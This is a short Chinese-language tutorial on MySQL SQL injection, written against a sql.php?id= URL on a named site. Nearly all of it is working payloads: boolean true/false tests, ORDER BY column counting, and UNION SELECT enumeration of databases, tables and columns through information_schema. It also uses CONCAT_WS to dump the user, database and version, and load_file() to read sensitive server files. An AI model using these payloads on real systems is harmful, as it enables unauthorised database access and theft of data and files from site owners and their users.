以下判断是否存在注入漏洞的语句.其中/*在MYSQL中是个注释语句.
http://www.0daynet.com/sql.php?id=7 and 1=1/*
http://www.0daynet.com/sql.php?id=7 and 1=2/*
下面我们用ORDER BY 语句进行字段中查询的记录进行排序;
http://www.0daynet.com/sql.php?id=7 order by 10/* 一直重1到10输入ORDER BY 11 返回出错
下面用猜表名方法;(假设表明为admin)
http://www.0daynet.com/sql.php?id=7 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin/*
union select 1,SCHEMA_NAME,3,4,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增,查询到4时浏览器返回错误,说明存在3个库。
union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
limit 从0开始递增,查询到7时浏览器返回错误,说明此库存在6个表。
union select 1,2,3,COLUMN_NAME,4,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。
这样可以解决我们找不到表与字段的烦躁(版本为MYSQL5)
介绍下MYSQL中的函数(CONCAT_WS()函数)
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10/*
这里的意思一次查看MYSQL的版本信息当前用户等等
介绍下MYSQL中的函数(load_file() 函数)
and 1=2 union select 1,2,3,load_file(16进制转换),5,6,7,8,9,10/*
使用load_file()读取敏感信息必须该用户赋予最高的权限..把你需要的文件路径转换为16进制即可